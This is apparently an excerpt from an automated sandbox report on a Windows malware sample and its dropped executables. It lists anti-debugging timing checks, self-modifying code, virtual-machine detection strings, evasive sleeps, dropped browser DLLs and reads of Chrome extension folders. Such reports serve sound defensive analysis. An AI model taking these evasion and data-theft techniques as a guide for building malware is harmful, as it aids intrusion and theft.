Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC7E9 second address: 7BC81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB52635h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007FA5CCB5262Fh 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC95D second address: 7BC963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe RDTSC instruction interceptor: First address: 7BC963 second address: 7BC988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007FA5CCB52633h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\So7a8eQerR.exe Special instruction interceptor: First address: 9BE68E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\So7a8eQerR.exe Special instruction interceptor: First address: 9BE75F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\So7a8eQerR.exe Special instruction interceptor: First address: B51391 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\So7a8eQerR.exe Special instruction interceptor: First address: B5AFC7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\So7a8eQerR.exe Special instruction interceptor: First address: BD7CFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Special instruction interceptor: First address: 62E68E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Special instruction interceptor: First address: 62E75F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Special instruction interceptor: First address: 7C1391 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Special instruction interceptor: First address: 7CAFC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Special instruction interceptor: First address: 847CFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Special instruction interceptor: First address: B0E68E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Special instruction interceptor: First address: B0E75F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Special instruction interceptor: First address: CA1391 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Special instruction interceptor: First address: CAAFC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Special instruction interceptor: First address: D27CFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Special instruction interceptor: First address: 2BE68E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Special instruction interceptor: First address: 2BE75F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Special instruction interceptor: First address: 451391 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Special instruction interceptor: First address: 45AFC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Special instruction interceptor: First address: 4D7CFA instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\So7a8eQerR.exe Code function: 0_2_05340DC0 rdtsc 0_2_05340DC0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Thread delayed: delay time: 180000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window / User API: threadDelayed 1313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window / User API: threadDelayed 417 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window / User API: threadDelayed 1213 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window / User API: threadDelayed 1262 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window / User API: threadDelayed 1206 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Window / User API: threadDelayed 1100 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Window / User API: threadDelayed 5877 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Window / User API: threadDelayed 1441 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Window / User API: threadDelayed 4072
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe API coverage: 0.8 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7932 Thread sleep time: -60030s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7928 Thread sleep count: 1313 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7928 Thread sleep time: -2627313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7892 Thread sleep count: 417 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7892 Thread sleep time: -12510000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8032 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7904 Thread sleep count: 1213 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7904 Thread sleep time: -2427213s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7920 Thread sleep count: 1262 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7920 Thread sleep time: -2525262s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7908 Thread sleep count: 1206 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7908 Thread sleep time: -2413206s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe TID: 8080 Thread sleep count: 1100 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe TID: 3096 Thread sleep count: 148 > 30
Source: C:\Windows\SysWOW64\cmd.exe TID: 2692 Thread sleep count: 4072 > 30
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\So7a8eQerR.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C06C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc, 4_2_6C06C930
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: explorti.exe, 00000003.00000002.4096195243.00000000014B8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW_
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: vmci.sys
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: vmware
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.10.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.10.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.10.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 00000003.00000002.4093184029.00000000007A4000.00000040.00000001.01000000.00000007.sdmp, GIEHIDHJDB.exe, GIEHIDHJDB.exe, 0000000B.00000002.2002492457.0000000000C84000.00000040.00000001.01000000.0000000C.sdmp, CBFIIEHJDB.exe, 00000014.00000002.3371208566.0000000000434000.00000040.00000001.01000000.00000010.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.10.dr Binary or memory string: VMware Virtual USB Mouse
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.10.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.10.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Amcache.hve.10.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr Binary or memory string: \driver\vmci,\driver\pci
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.000000000104C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000056C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: ~VirtualMachineTypes
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.000000000104C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000056C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F47000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW^o
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.000000000104C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000056C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Server Standard without Hyper-V
